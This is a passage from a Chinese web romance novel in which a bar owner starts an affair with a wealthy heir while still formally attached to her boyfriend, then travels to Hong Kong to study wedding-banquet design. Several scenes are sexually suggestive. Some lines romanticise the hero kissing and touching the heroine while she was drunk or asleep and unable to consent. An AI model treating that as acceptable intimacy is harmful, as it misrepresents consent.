明明是重逢以后的第一次,她的身体却好像比她自己更熟悉他的吻,他猝不及防咬下来时,伴随着些微的刺痛,她的“嘶”声还未出口,身子已经迫不及待自动弓起,试图往他齿间送去更多。 多一点。 再多一点。 孟苏白的齿像是有什么魔力,明明是痛的,却置之不理想要填满他。 意识到自己在做什么时,桑酒整个人都懵了,她瘫在座椅背脊,手指抱着他脑袋,指甲游走在他浓密的发剪,身体从脚趾开始,处处都用力蜷着。 云叔还没有来吗?她不知道。 感觉已经过去了很久,甚至李佑泽他们都可能已经结束回家了。 明明是在最繁华的淮江区,世界却好像静得不像话,只隐隐有雨滴拍打车窗的声响做伴奏。 仿佛幽静的森林里,雨水弥漫,黑狐狸躲在树洞底下,抱着悄然冒出的红色鲜蘑菇,一点一点啃食。 也不知过了多久,那雨点声渐大。 等桑酒从迷茫中回过神,发现车子不知何时已经启动,在雨夜中驰骋,这才意识到刚刚那雨点声,是云叔在敲窗户。 她怔楞了片刻,推了推孟苏白脑袋:“……我得回酒馆。” 孟苏白施施然从她胸前抬起头,修指还泛着温热,整理好她凌乱的衬衫,将风衣又拨正,紧紧裹住她纤软的身子。 他伏在她肩上沉沉地呼了一口气。 那浓烈充满欲的气息,分明是她身上的味道。 桑酒浑身颤栗时,孟苏白又偏头,轻捧着她脸颊,再度吻了上来。 很快,她也尝到了自己的味道。 “去樾华璟。”他含着她的唇说道。 “不要……” “你还要照灯。”孟苏白手指贴在她后颈揉了揉。 桑酒明知这不过是他的借口,还是妥协了:“照完灯我就回去。” 孟苏白笑笑,没有说话,吻得更深,不让她再开口。 车子开得很平稳,丝毫没有打扰到两人,孟苏白就这样时不时亲吻着她的唇、她的脸颊…… 他们就像迷雾森林里相互依偎的两头小狐狸,相濡以沫,像是要把失去的四年全部补回来- 直到最后嘴唇肿起,舌尖发麻,桑酒实在没有力气了,气息喘喘瘫在他怀里休息。 她摸着肿起来的唇,忽然就想起去宁市那日,唇瓣也肿成这样,胸前那里剐蹭着内衣时也有些刺痛。 桑酒不禁怀疑自己醉酒那晚,这个男人到底干了啥。 但她又没胆子再问,生怕他又吻上来,那等会儿下车都要没脸见人了。 “困了就睡一觉,到家喊你。”孟苏白一手拥着她,一手握着她的手,闭着眼,神态餍足。 桑酒却睡不着,她只觉得这一切都像梦一样,手指沿着孟苏白衬衫的纽扣,一粒一粒往下解开,指尖触上他的肌肤。 那是她垂涎许久的地方,现在终于可以光明正大把玩。 可桑酒也是有自己的私心,因为她接下来的话,可能会让他生气,也许她这样可以让他不那么气,就好似给人一巴掌前,先喂一颗糖。 “孟苏白,你不觉得,我很坏吗?” “怎么了?”孟苏白的声音沙哑又不隐愉悦,闭眼感受着她的指尖一笔一画,顺着肌理纹路游走。 桑酒指尖却一顿,目光盯着前面那块挡板:“因为……为了一个男人,就要跟自己男朋友分手,可他又没做错什么,这样的我,你也喜欢吗?” 孟苏白捏着她的指,低头去看她。 他目光深暗,仿佛黑夜里的深海。 汹涌而寂静。 “喜欢。” “……就算为此背上小三的罪名,也不后悔?” “不后悔。” 桑酒再次无言以对。 她感觉自己罪孽深重,不该对他撒一个又一个谎。 孟苏白将她身子扶起,与她抵着眉心。 “泱泱,论先来后到,他已经是过去式了,你和他在一起,不过是因为这四年我没有在你身边。” “那以后,万一我……我又因为别的男人,要跟你分手呢?” 孟苏白笑了一声,用鼻尖碰了碰她的:“那必定是我做得不够好。” 桑酒低下头,目光闪烁:“是我自己不够好。” 毕竟她现在的人设,是因为好色要跟男友分手的渣女。 孟苏白没有给她胡思乱想的空间,他一把捉住她的手腕,又欺身朝她压了过去,将她禁锢在椅背中,目光紧紧锁在她那高高肿起的唇。 “泱泱,你对我这么没信心吗?还是刚刚……你不满意?” 他目光向下轻移,扫过她那揉得凌乱不堪的衬衫领。 桑酒有一瞬慌乱,手撑在他胸前,猛地摇头。 哪怕隔着挡板,哪怕云叔根本听不到任何声音,她还是觉得尴尬。 这让她下车还怎么见人呢! 孟苏白也只是吓吓她,没有真做什么,将她又拥入怀里,温声说道:“和他分手,所有后果,我来承担。” 桑酒也退让了一步:“你总得给我时间……” “还要考虑?”孟苏白将她抱得更紧了,缓缓低语,“泱泱,我等得够久了。” 桑酒心一紧:“我是说,给我时间处理好我和他的关系。” 虽然三禾说得没有错,可她还是不想那样做,不想他为自己无辜背上小三的罪名,也不想他在这段感情里受到欺骗。 即便真的如三禾所言,这段感情最终没有结果,桑酒也不会后悔,无非就是轰轰烈烈爱了一场。 “多久?” “……半个月?” 至少等李佑泽的生日过后,跟家里人都说清楚,等自己恢复真正的单身,再与他光明正大在一起。 “半个月时间太长。”孟苏白眉头微蹙,他一刻都不想等。 桑酒不禁笑了:“孟先生,你以为这是玩游戏呢?可以一键解除关系?我跟他之间毕竟这么多年了,牵扯很多东西在里面,有家人、有朋友,以后也还要见面相处的,我不想跟他闹得太僵。” 这话听着,像是要离婚的夫妻。 孟苏白着实不爽,低头咬在她肩颈,像是借此讨个利息。 “那你答应我,这段时间,不能躲我,也不能和他单独相处。” 他吃起醋来,真是不分轻重。 桑酒又嘶了一声,抬起手环住他的腰:“好,那你也要守规矩,不能给他难堪。” “你心疼他?”孟苏白抬首看她。 “不是!”桑酒忙说,“我是不想别人对你指指点点!” “我说了,不在乎。” “可是我在乎。”桑酒坚持。 孟苏白深深看了她一眼,然后点头:“好,我答应你。”- 回到樾华璟,已是晚上八点。 天空果然下起了细密的雨丝,秋风扫落叶,有些凉意拂过脖颈。 与往常不一样,这次下了车,孟苏白直接牵起她的手。 一旁的云叔瞧见了,虽然面色无异,嘴角扬起的弧度却没有压下来过,朝两人点了点头。 桑酒脸微烫,捂着嘴一脸不好意思,小声喊了句“云叔”,便被孟苏白直接带去了二楼。 他的卧室。 “你先去洗漱,等会儿照灯可以直接睡觉。” 桑酒揉着脖子,好像已经没有什么感觉了,她说:“会不会太早了些?” 每次和他待在一起,她的作息时间都会发生调整,不再是凌晨夜猫子。 孟苏白正在衣帽间给她找衬衫,闻言,转过身看她:“你要嫌早,我们可以做点别的事。” 桑酒动作一顿,有些慌乱:“不……不好吧,我还没……” 怎么说,她身上还挂了李佑泽女朋友的名分。 这样做会不会太没道德感了? “还没什么?” 孟苏白伸手将她拉了过来,低声询问。 桑酒低着脑袋,小声嚷嚷:“你不能乱来。” 孟苏白露出不解的神情:“乱来什么?” “你……” “我只是想和你探讨一下维水泱开业宴的事情。”他一本正经说完,忽地眯起眸,“桑老板在想什么?” “……” 桑酒猛地抬眸,撞进他含笑的眼眸,随即气愤地伸手去推他脸颊。 “孟苏白!你正经一点!” 他绝对是故意的! 孟苏白第一次笑容开怀,身子微微退后了两步,又抬手捉住她手腕,低声哄:“好,不逗你了。” 他担心今晚把小姑娘惹毛了,自己要去睡客房。 摸了摸她的发,他转身从衣帽间取下一件自己的白衬衫,又拉开另一层抽屉,从中间抽出一条黑色蕾丝小裤,一起递给她。 桑酒眼尖发现他备了一抽屉女士的贴身衣物,幽幽打趣:“孟先生家里果然一应俱全,连女人的东西都有。” 孟苏白倚在柜门,长腿交叠,抬了抬下巴:“给你准备的。” 桑酒一愣:“我?” 她懵了,他们不是今天才确定心意的吗? “什么时候的事?” “你第一次来的时候。” 说完,孟苏白又拉开衣柜另一侧门,赫然挂着十几套女士套装,从毛针织衫到西装外套,再到休闲服,整齐挂列在他的衬衫与西装外套旁。 “这是……” “一起给你准备的。” “……喔。”桑酒一时哑然,对他竖起拇指,“孟先生真是高瞻远瞩。” “有备无患,总没错。” 某人貌似还骄傲上了。 桑酒看了眼手里的白衬衫,有些无语,用手指搓了搓他手臂肌肉。 “那有备无患的孟先生,怎么每次都不给我备件睡衣呢?” 孟苏白心虚地手背抵着唇,轻咳一声。 “我觉得,泱泱穿我衬衫挺好,面料更舒适。” “……” 司马昭之心无疑了! 这一晚,孟苏白倒也安分守己。 桑酒在他床上照完红光灯后,就被他抓起来靠在床头,看了好几页的策划书。 一点一点给她纠正改进,直到她哈欠连天,瘫在他怀里,抱着他的腰摇头。 “不行了,我快困死了。” 孟苏白把文件放到一旁,揉了揉她的发,低头轻笑:“不是嫌时间早吗?” 她抬起脑袋,也是一脸疑惑:“不知道为什么,我明明有失眠症的,但每次在你……这儿,就特别容易犯困。” 孟苏白挑眉:“失眠症?” “嗯……就是睡不着,容易醒。” 孟苏白脑中划过几个夜晚,她熟睡的模样:“可每次,你都睡得很深。” 深到他搂着她深吻都没有反应。 “是吧!你也发现了?”桑酒顿时又来了精神,她爬起来,皱着鼻子在他身上嗅了嗅,“你是不是喷了什么迷魂药?” 她一路嗅到他颈窝,闭着眼,还真越发享受起来。 “对,就是这个味道,闻着就好想睡觉。” “泱泱想怎么睡?” 孟苏白被她鼻子拱得起了反应,搂着她的手臂滑下落到她腰间,本就堪堪齐臀的白衬衫,隐隐露出黑色丝花的边缘。 桑酒将脑袋埋进他颈窝,迷迷糊糊回:“就这样睡啊……感觉能做一场美梦。” 全然没有察觉到有什么抵着腿间。 “泱泱的美梦里,都有什么呢?” 孟苏白将一个吻落在她耳垂上,搂着她一起躺平,侧身将她环住,确保她的呼吸还洒在颈窝,手却不受控探进衬衫。 刚照灯时解开的两粒扣子没有系上,松松垮垮正好给了他乘人之危。 “唔……” 在他的手熟练地团了上来时,桑酒忍不住轻哼出声,目眩神迷起来。 被他在车上咬得还发疼的地方,此刻刮在他掌心,又倏然立起,熟悉的酥麻和微微刺痛感袭来。 桑酒睁开眼,用鼻尖碰了碰他滚动的喉结。 “孟苏白,我上次喝醉酒,你是不是偷偷亲吻过我?” “想起来了?” “没有!” 她那次是真的醉晕过去了,只是醒来发现身体有些不对劲,还被他忽悠是海鲜过敏,现在想来,那晚绝对不简单! 孟苏白低笑。 “亲过很多地方,不知道泱泱说的,是哪里?” “……” 还很多地方? 迷糊间,他温热的唇覆上来,将她想要控诉的唇含住。 玉骨般修长的手也钳制住一团,掌心用力,如捏着一团和好的面粉,瞬息万变。 “这儿。” “这儿。” “都亲吻过。”—— 作者有话说:失眠症,唯有爱人的气息能治愈- 呼! 总算要开始一段甜甜的恋爱咯[加油][加油] 第53章 桑月觉得今天她姐有些不对劲, 春风满面脸色红润,一看就是陷入爱河的女人,跟她和纪礼舟刚在一起时一模一样, 哪怕对着一束花都能嘴角上扬, 沉浸在自己的世界里。 她隐隐有些担忧, 趁着中午两人做库存盘点和记录时, 问出了内心话。 “姐, 你在跟孟先生谈恋爱吗?” 桑酒抱着笔记本,手一顿,轻轻嗯了一声。 她并不想瞒着妹妹。 “那姐夫怎么办?”桑月问得小心翼翼:“你这是要……?” “出轨?” 这两个字, 由桑酒亲自说出来, 倒有几分打趣的意思。 却把桑月吓得不轻:“姐,我不是这个意思!” 桑酒咬着笔头, 回头看她:“小月我出轨的话, 你还认我这个姐姐吗?” 桑月啊了一声,眨了眨眼:“认啊。” “为什么?不觉得姐姐很坏吗?”桑酒觉得,逗自己妹妹还挺好玩的。 桑月却认真思考起来:“谁让姐……李佑泽那么不争气,我一直就觉得, 他当男朋友很不合格, 你早就该把他踹了!” “李佑泽对你这个妹妹,还不错吧?” 桑月冷哼一声:“可他不是一个值得托付终生的男人,他配不上你。” 桑酒想起孟苏白的话, 跟妹妹如出一辙, 不禁笑了。 “眼光还不错, 看人挺准。” “那你跟他分手了?”桑月又问。 “……准备找机会说。” “啊?那孟先生岂不是……要给你当小三?”她后面那几个字,说得极其小声,仿佛是什么不可思议的事情, 说出来连自己都不相信。 桑月确实震惊了,孟苏白那样清风霁月的男人,竟然要给她姐当小三? 这世界太魔幻了! 桑酒只得解释:“小月,其实我跟佑子,早就没关系了。” “什么叫没关系了?”桑月不解,“前几天妈打电话过来,还说要准备你跟他的婚事呢。” 桑酒只觉头疼,看来有必要再回家一趟了。 “反正,我和孟先生的事情,你不要跟任何人说,包括李佑泽和老妈老哥他们,你只要记住,没有出轨,没有小三就行。” 桑酒不想跟妹妹说太多,主要是因为这姑娘眼里心里藏不住事,又天天跟老妈通电话,迟早要露馅,到时候就不好收场了。 “啊……” 桑酒摸了摸她脑袋:“你这小脑袋瓜子,就别管那么多啦。” 桑月有些不满:“姐,你别总把我当小孩子看。” 桑酒笑:“知道啦,我们小月月长大了,那你赶紧学好怎么调酒吧,我最近手里单子比较多,不一定每天都能来酒馆。” 这话听着,还是把她当小孩看。 桑月噘着嘴,闷声去搬砖。 桑酒也拿她没办法,清点完库存后,又去阁楼洗了个澡- 从樾华璟回来后,桑酒马不停蹄切换到工作狂模式,赶着deadline处理前段时间积累的单子,偏这个时候宋祁突然约她吃饭,说是要赔礼道歉。 虽然诧异,但桑酒也没有拂了他的面子,跟他吃了个下午茶。 “桑老板,前天那事是我喝多了胡乱说的,没想到李老板当真了,我知道后特意来跟你与李老板说句抱歉,孟先生那边,我会亲自解释的。” 刚落座,宋祁就开门见山。 桑酒却是不信他这些鬼话。 她虽然与他交情不深,但也看得懂他骨子里的傲慢与轻蔑,平日李佑泽那群狐朋狗友围着他们这些富二少打转,没少鞠躬尽瘁伺候着,但他们对李佑泽那些人,看热闹心态多于真心。 不难想象,他那天就是等着看李佑泽出糗,只是没想到孟苏白会一反常态配合了而已。 虽然心里一清二楚,但表面上桑酒还是得以礼待人。 “宋总言重了。” “不言重不言重,为了表示歉意,我想邀请桑老板为我下个月的婚礼做酒单策划主理人,如何?” “宋先生的婚礼?”桑酒纳闷,“我恐怕还没这个能力,实在抱歉。” 她拒绝宋祁的原因很简单——觉得这样对三禾不尊重,是对闺蜜的背叛。 虽然这笔订单利润极其高。 宋祁也没有多说什么,只让她回去好好考虑,他会一直等她回复。 也不知道俞三禾从哪儿得到这个消息,第一时间杀到酒馆,将正在算账的桑酒一顿痛骂。 “你傻吗?宋家的婚礼你知道有多隆重吗?那可是真金白银堆积如山,你接了这一单可以直接躺一年了!为什么要拒绝呢?你之前不是一直说要狠狠敲诈他一笔吗?这机会不就来了吗?” “可是……”桑酒还是觉得不妥,“他曾经是你的男人哎,你还要我去他婚礼上布置,你不觉得……” “觉得什么?有什么不妥吗?我本身跟他这几年就是为了他的钱!现在可以光明正大赚,为什么不赚?” 桑酒张口欲言:“你不介意?” “我当然不介意!挣了钱,你请我吃顿大餐就行!” “这么简单?” “你要五五分我也不是不可以啊,”俞三禾耸了耸肩,又提出馊主意,“还有,这是你最好对他狮子大开口的时候!反正有孟先生在,他不敢对你砍价,你就把价格抬到比市面上高个十几二三十倍就行!” “……这样行吗?” “当然行!行得很!” 俞三禾举起酒杯,一饮而尽,有种大仇得报的感觉。 桑酒看着不禁摇头,果然,惹谁都不要惹女人。 这是要把宋祁当小日子整啊。 “对了,你和你的国王先生都在一起了,那佑子怎么办,什么时候跟他摊牌呢?” 俞三禾虽然平时大大咧咧,但有些事情上,嘴巴挺紧,哪怕每天跟李佑泽厮混在一起,也不会透露一点风声。 “等他过完生日吧。” “为什么是他生日?” “李佑泽说他生日宴请了不少朋友,还是以我跟他的名义,我总不能在这个时候,让他难堪吧。”桑酒抿了一口酒,有些忧愁。 “倒也是,李佑泽别的还好说,好面子这块没人能赶得上他。” “等他过完生日,我跟他一起回遂溪,跟两家父母摊牌,不知道他爸妈会不会打断我的腿……”想到这儿,桑酒就有些为难。 “你放心,要打也是打断他的。”俞三禾看热闹不嫌事大,“我听我爸妈说,你们两家长辈已经在谈彩礼的事情了。” “嗷——怎么办,”桑酒只觉头大,“孟苏白只给了我十五天时间!” “啧啧,孟先生这是要为爱做小三啊,”俞三禾一脸期待,“我倒想看看,假若你跟佑子没分手成功,你的国王先生要如何?” “能不能说点好的?”桑酒拍她。 “好啊,那你告诉我,你们现在到哪一步了?四年不见,干柴烈火了吧!” “去你的!”桑酒直接一把推开她,“我们现在,还没有到那一步!” “为什么呀?” “就像你说的,不能真让他背上罪名了呀,假的也不行!” 桑酒是想等自己跟李佑泽断得干干净净后,再想这些事情的。 俞三禾却深感自豪:“女人,你在玩欲擒故纵那一招,行啊!我教的那些你玩得挺会啊!” 桑酒扶额:“……” 不想跟疯女人说话。 “所以,你现在是想通透了?”俞三禾也不嘻哈了,郑重问她,“不怕受伤害了?” 桑酒确实想通了。 “其实我自己也明白的,从我和他的第一次相遇,就注定要羁绊一生,哪怕这四年我们未曾见面,但他就像一棵树一样,在我心里生根发芽,只要我不死,他会一直生长,无论我怎么漠视怎么逃避,它都不会停止,既然如此,不如就顺其自然,让他生生世世,长在我心里。” 俞三禾愣了半秒,笑说:“讲那么深奥干嘛,就按我的意思,睡了再说!” “俞三禾!” “我错了!我错了!口误口误!”俞三禾哈哈大笑,“是爱了再说!”- Chris漂洋过海寄来了一批庄园顶级的葡萄酒,晚上,桑酒忍不住开了一瓶红酒,靠在露台,一边看孟苏白给她找的婚礼策划案例,一边慢悠悠品着,没注意到调成振动模式的手机进来几个电话。 秋风渐凉,好在酒能暖身子,她醉意微醺看着远处夜景,听到身后有脚步声靠近。 桑酒以为是妹妹,举起酒杯轻轻摇了摇:“这酒是真不错,有点上头,你要不要尝尝?” 还未转身,便被一副温热的身躯包裹住,然后是一个吻,封住她嘴里的葡萄酒香,清冷的夜里,淡淡的木质香调沁入鼻腔,是孟苏白的味道。 桑酒不由放松了身体,也放任醉意,仰着头与他气息交融,直到舌面所有酒味悉数被他掠走,喘着气问:“你怎么来了?” “一天没见,想你了。” 孟苏白将她往怀里一带,气息在她耳边蹭着,深嗅着她身上的味道,就像动物标记自己的领地,占有欲十足。 “好喝,很香,很甜。” 只是不知道他说的是酒,还是她。 桑酒笑:“一天而已,孟先生,之前四年你都忍受了——” “所以,今天是我重浴阳光的第一天。”他灼热的吻落在她耳后,轻叹一声,把自己说得甚是可怜。 桑酒偏头躲了躲:“痒——” “BB,让我闻闻,今天开了一整天会,头很沉。” 一句极有腔调的BB,直接让桑酒心如灌蜜,抬手抚上他的眉心痣:“最近很忙吗?” “嗯,我想尽快完成阿爷给的任务指标,这样就能早点获得自由身。” 孟苏白又将她抱得紧了几分,想起什么,又笑了一声,声音压低带着蛊惑:“桑老板,以后我不是寰曜集团的总裁,你能养我吗?” 露台十分安静,偶尔听得虫鸣声,橙色灯光温馨照在两人身上,将身影拉得老长,两人依偎的背影,颇有几分老夫老妻的感觉。 可其实细算下来,两人相识四年,真正相处才不过二十天。 为了一个相处不过二十来天的女人,放弃孟家三少的身份,真的值得吗? “那你会后悔吗?” “为什么要后悔?” “你会失去天之骄子的身份,然后什么都没了。” 从无到有世间常态,从有到无常人难再。 “谁说的?”孟苏白亲吻她额头,“此时此刻,你不就在我怀里?更何况……” “更何况什么?” 似有一声轻叹,却被桑酒经久未停的心跳声压了下去,她听到孟苏白低声说:“泱泱,你是我欲孤身渡江海时的一叶扁舟,不为彼岸。即便没有你,我迟早也会离开孟家的。” 好半晌,桑酒唇角微勾,笑着回答了他刚才的问题:“好啊。” 借着月光,孟苏白低头看去。 她有一双漂亮的狐狸眼,笑时清纯,哭时动人,不哭不笑冷郁迷人,半笑不笑最是勾魂,如今被酒气微醺,令人心猿意马。 此刻正抬着脑袋,下巴抵在他胸膛,充满爱意凝望着他:“我养你。” 桑酒忽然想起俞三禾说的那句话—— “肯定不是孟先生,除非有朝一日,他跌落神坛了。” 她不想他跌落神坛,可真有那么一天的话,她会将他带回家里,虔诚供奉着。 他本就是她的神明。 正好,从此只属于她一人。 孟苏白第一次被她这样光明正大的爱意笼罩着,心脏也被她的温柔沁入,每一次跳动是她的气息,他低笑着问她:“那桑老板打算,怎么养?” 桑酒朝他勾了勾手指。 孟苏白乖乖低下头。 桑酒只是略微踮起脚尖,攀着他的手臂,热烈吻了上去。 经过几次调教,她的亲吻逐渐有模有样,不再是蜻蜓点水的触碰,会含着他的唇瓣细细吮着,舌尖也尝试着碰触描绘,仿佛在品尝什么珍宝,温柔似水,不轻不重,又恋恋不舍。 却最是磨人。 腿渐渐虚软,唇缓缓分离,身高差让桑酒不得不紧绷着身子去够他的唇,可亲的时间久了,她几乎要站不稳,脚像踩在棉花糖上,软绵绵的。 正要撤离时,孟苏白才开始发力。 他双手握着她的细腰,将她身子霸道托起,偏头又低了几分,含着她的唇久久不让分离,舌尖肆无忌惮伸进去,吮得她呼吸紊乱,来不及吞咽的津液还带着酒香,又或许是她天生自带的香甜味道,如甘泉一般在唇角泛出玉色水光。 夜风吹乱了发,也吹散了一身酒气,只有彼此气息残留着。 桑酒靠在他怀里大口呼吸时,男人揉着她的耳朵,眼底映着清浅的笑意。 “BB,就这点力气,可养不好我。” 桑酒另一只耳朵贴着他跳动异常的心跳:“那我只能努力赚钱养你啦。” 孟苏白笑着揉她脑袋:“那就辛苦桑老板了。” 桑酒紧紧环着他的腰,说起赚钱,又想起刚刚看的几份策划书。 “对了,你发给我的那些资料,我都看过来,不过我觉得,还差点东西。” “差什么?”孟苏白下巴摩挲着她的发顶,声音有些哑。 “切身体验,”桑酒笑着说,“我长这么大,还没参加过婚礼,更别说去设计别人的婚礼了,虽然只是简单的餐酒搭配,但以宋家的身份地位,如果在酒水上出了差池,岂不是得罪他们整个家族?” 虽然因为三禾的事情,她对宋祁的态度并不友好,但一码事归一码,工作上她还是追求尽善尽美,无愧于心。 奈何经验太少,之前接的那些活动策划跟宋祁这场婚礼比起来,简直是小巫见大巫,桑酒不禁压力山大,担心挑不起这根大梁,砸了自己的招牌。 “所以呢?” “正好三禾牌馆里有个客人是京市富二代,下周他姐结婚,听说十分隆重,他可以带我去现场体验,估计要出差个两三天。” 孟苏白拍拍她脸颊:“想看婚礼,何必舍近求远?” “什么?”桑酒没明白他意思,从他怀里抬起头。 孟苏白勾起她下巴:“也是巧了,我明天要参加一场婚礼,也许更适合桑老板学习,不过,在港城。” “港城?” “嗯,想去的话,做我的女伴。”—— 作者有话说:叮~您的亲亲怪·Kings上线啦! 第54章 “你是……阿煜的朋友?不会是女朋友吧?” 贺伊琳将金丝边眼镜往上抬了抬, 眯起眸打量着眼前的姑娘,脸上冷峻的线条如雕塑一般俊美:“不应该,他这样的货色, 找不到你这样干净漂亮的姑娘, 但他还是第一次为了一个姑娘求我帮忙, 真稀奇。” 她抬了抬下巴, 示意眼前的姑娘坐, 语气算不上多苛刻,但终归是带着几分冷傲:“听阿煜说,桑小姐在海城自己开酒馆, 哪里人?毕业于什么学校?主修什么专业?之前有办过什么活动?怎么会想起跟我学习餐酒搭配?” 桑酒一时愣住。 昨日孟苏白说带她来参加婚礼, 也没提具体是谁的婚礼,直到今天收到贺煜添加好友的信息, 她才得知, 竟是贺家大小姐出嫁! 贺家! 那可是港城仅次于孟家的贺家! 桑酒惊得直接要打道回府了。 但后来又想着,来都来了,半路放弃太过可惜,毕竟这是轰动整个港城的豪门婚礼, 也许以后她难有机会近距离观摩。 也许, 她可以想一个折中的办法,能不以孟苏白女伴的身份出席,又能深度了解一场晚宴的流程与设计。 桑酒知道, 如果自己现在就以女朋友的身份站在孟苏白身边, 势必会加速这段关系的曝光, 到时候不用等到她跟李佑泽分手,他们就会出现在明日港城头条。 至于结果如何,不难想象。 而且只是女伴的话, 她看到的也只是婚宴浮于表面的东西,当得知四年前那场红酒晚宴的主理人就是贺煜二姐时,桑酒忽然有一个念头,如果能跟这位姐姐深度学习一下就好了。 深思熟虑过后,她想着要不以服务员的身份混进去。 孟苏白自是不肯委屈她,提出实在不行,就以员工的身份站在她身边,他礼服都帮她准备好了。 桑酒可不敢,即便是员工身份,出席这样的场合多少也带了点桃色绯闻。 最后还是贺煜想了一个堪称完美的点子。 “小玫瑰,你既然想深度了解这场婚宴的流程与设计,那不如直接去我二姐身边,她才是这场婚宴的总策划,只不过我二姐出了名的冷漠苛刻,我跟她求个情应该行得通,就看桑桑你敢不敢?” 孟苏白上一句刚对着电话里的贺煜让他闭嘴,桑酒下一句就满心欢喜答应了。 “谢谢Carson!” 甚至还不忘要求孟苏白晚宴上必须假装不认识自己。 “贺煜那位二姐不太好惹,泱泱,要混进婚礼很简单,我……” “我倒觉得贺煜这个方法不要太完美了,而且你们越是这样说,我就对这位二姐越感兴趣,毕竟,优秀的女人多少会有点脾气在身上,她脾气越大,就说明她越厉害,我就更应该跟她学习。” “哪来这么多歪理?” “你就说对不对吧?” 孟苏白不禁笑了,无奈点头。 他承认,如果不是因为贺伊琳是女儿身,她早就成为贺家掌权人了。 “行吧,不过有任何状况,要第一时间联系我,不准硬扛。” 孟苏白对她也是纵容至极,撤下原本准备好的黄色礼服,换上一套纯白色女式西装,贴身剪裁,优雅又飒爽。 桑酒换了衣服出来时,他直接呼吸一屏,眸色微动。 她虽出身平凡,却天生贵气。 饶是见过她最美的样子,孟苏白始终会为她新的一面怦然心动。 视频另一端,贺煜只瞥见一晃而过的虚影,但也被惊艳到了。 “我二姐平日最喜欢穿黑色西装,你如果也穿黑色,会让她觉得自己受到挑衅了,白色好!白色不会撞衫,帅气又不失优雅!看起来跟我二姐还挺配!” 贺家二小姐是一个卡颜卡气质的设计师,想要留在她身边做事,颜值和气质这一关必须过。 好在桑酒天生丽质,又自带清冷气场,这一关自是毋庸置疑。 但孟苏白曾和贺煜二姐打过交道,多少知道这位的脾性,天生丽质只是第一关,有品位有风格才更能入她眼。 所以换完装后,他又一个电话打给旗下珠宝公司,把当季最新款送来私人公寓,供桑酒搭配。 穿西装戴项链自然不太合适,唯有在耳饰和腕表上下功夫。 桑酒选了一对满钻灵蛇耳环,精致优雅,大气独特,腕表挑了几款,因为太过女性化,她犹豫不决。 孟苏白像是明白她在想什么,忽然起身,绕到她跟前,摘下自己的腕表,扣在她手腕。 “这是我十八岁那年,在克罗地亚赢得帆船比赛冠军,我奖励自己的成人礼,它曾给我带来不少好运,包括你,所以我希望以后,它也能给你带来好运。” 那是一块帕玛强尼机械表,银色腕带,镂空表盘设计,机械美感拉满。 男士款,兼具颜值与实力,不过戴在她纤细手腕有些大,孟苏白让云叔拿去调整了一下。 桑酒之前就听贺煜提起过这块表,四年前,如果不是她的出现,估计要被他当在那家酒馆。 谁能想到四年后,它会戴在她手腕。 桑酒十分清楚,这是孟苏白在给她底气——无论发生什么,他都会给她兜底。 许是有了腕间沉甸甸的底气,即便面对气势犀利刁钻的贺伊琳,桑酒也没有半分卑亢。 “说来惭愧,我没上过什么学,只是爱酒才开了酒馆,平常偶尔接些宴会练手。”她坐姿端庄,笑容明媚又有些遗憾,“这次受托为朋友的婚礼设计酒单,因为规格极高不敢懈怠,刚好和Carson聊起四年前在浮屿号上,我参加过您主理的红酒晚宴,印象深刻,所以厚着脸皮跟他讨要了个机会。” 桑酒稍作停顿,目光沉静地迎上贺伊琳的视线。 然而对视了没两秒,不禁感慨,这贺煜二姐生得也太好看了吧!哪怕是一头干净利落的短发,也让人移不开目光。 她还从来没见过哪个女人戴眼镜这般帅气的,用桑月那种小迷妹怎么称呼来着? 老公? 好像是这样! 贺伊琳指尖在沙发扶手上轻点了一下,语气带着审视:“不过一次简单的晚宴,就让你记忆深刻,桑小姐有没有想过,是因为你参加得太少了?” 桑酒笑容顿了一下。 果然,贺煜说得没错,他二姐嘴是真跟淬了毒一样。 不过她也没放在心上,就像俞三禾经常对她说的那句话——祖宗嘛,有点脾气是正常的。 她笑容坦诚:“Elaine姐说得没错,当时是我第一次参加那么正式的晚宴,但也正因为是第一次,所以能感觉到主理人对待每一位客人的用心,当时我就在想,策划这个晚宴的人,一定是一个很有温度的人。” 贺伊琳那张冷冰冰的脸上终于出现了一丝裂痕:“温度?” 那一丝裂痕却已经是她最大的惊讶。 仿佛这个词跟自己完全不搭边。 “是啊,一般的红酒晚宴,是直接把各大庄园的红酒按知名度排列,但您却考虑到了,也许会有客人不懂品酒,排酒顺序是按照口味,由轻到重,即便不懂,按照位置顺序品下去,完全能品到每一款酒的最佳风味。” 听完桑酒的话,贺伊琳沉默片刻,唇角缓缓勾起一个极淡的弧度:“我竟不知,这样一个小小的设计,也会让你发觉,果然,阿煜那臭小子的话,不能完全信。” “他说我什么?” 桑酒原本悬着的心,忽地放松下来,语气也变得轻快起来,端起贺伊琳给她准备的温水,准备润润喉。 贺伊琳重新打量了她一番:“请我收敛脾气,说他这位朋友是朵暴躁小玫瑰,不好惹。” “噗……”桑酒实在没忍住,还好她及时捂住嘴,才不至于把贺伊琳那些文件全部打湿,“抱歉……” 她偷偷看了眼十分高冷地收拾文件的贺伊琳,连忙从桌上抽出一张纸巾,帮忙擦拭。 贺伊琳没有拒绝,目光无意扫过她手腕,听到她笑说。 “Carson的话,确实不能全信,他再三叮嘱我,谨言慎行。” “哦,所以呢?” 贺伊琳面无表情抬头,镜片后那道目光又缓慢地眯了起来,她开始怀疑自己是不是看走眼了,她以为她是个沉稳干练的女强人,却没想到跟她那位不着边调的弟弟一样冒冒失失。 冒冒失失的姑娘双手把文件递给她,一双狡黠的眸子水灵灵闪动着,配上那张漂亮到毫无瑕疵的脸蛋,说出来的话即便是冰川也融化了。 “我觉得他还是不够了解自己的姐姐,能设计出这样有温度的晚宴,才不是什么冰川美人,她的内心比任何人都温暖细腻,不然……” “不然什么?” 贺伊琳觉得她在用甜言蜜语攻击自己,但该死的是,她对颜值高的人向来包容性强,尤其这姑娘又聪明,发现了她最隐藏的秘密。 “不然,他一开口,您就直接拒绝了。” 被戳破冰冷面具,贺伊琳也不摆脸色了,只语气还带着几分残余的冷硬。 “你要只是想参考豪门婚宴的酒水,那你直接找贺煜要酒水单就行,不必浪费我时间,一场成功的晚宴,拆开任何一部分去拼凑,都是没有灵魂的。” “我明白,这就像一幅画,从起笔到落笔,都由同一位画师的心意贯通,才能一气呵成,见其风骨,破碎拼贴,终究失了神韵,”桑酒抿了抿唇,笑容有些真诚,“其实来之前,我的想法确实很简单,但刚一路从酒店大堂到宴会厅,我能深刻感觉到,您设计的每一场晚宴,都有特别的主题风格,是不可分割的,所以,我现在想说的是,我想跟Elaine姐学习更多有关晚宴策划方面的经验。” 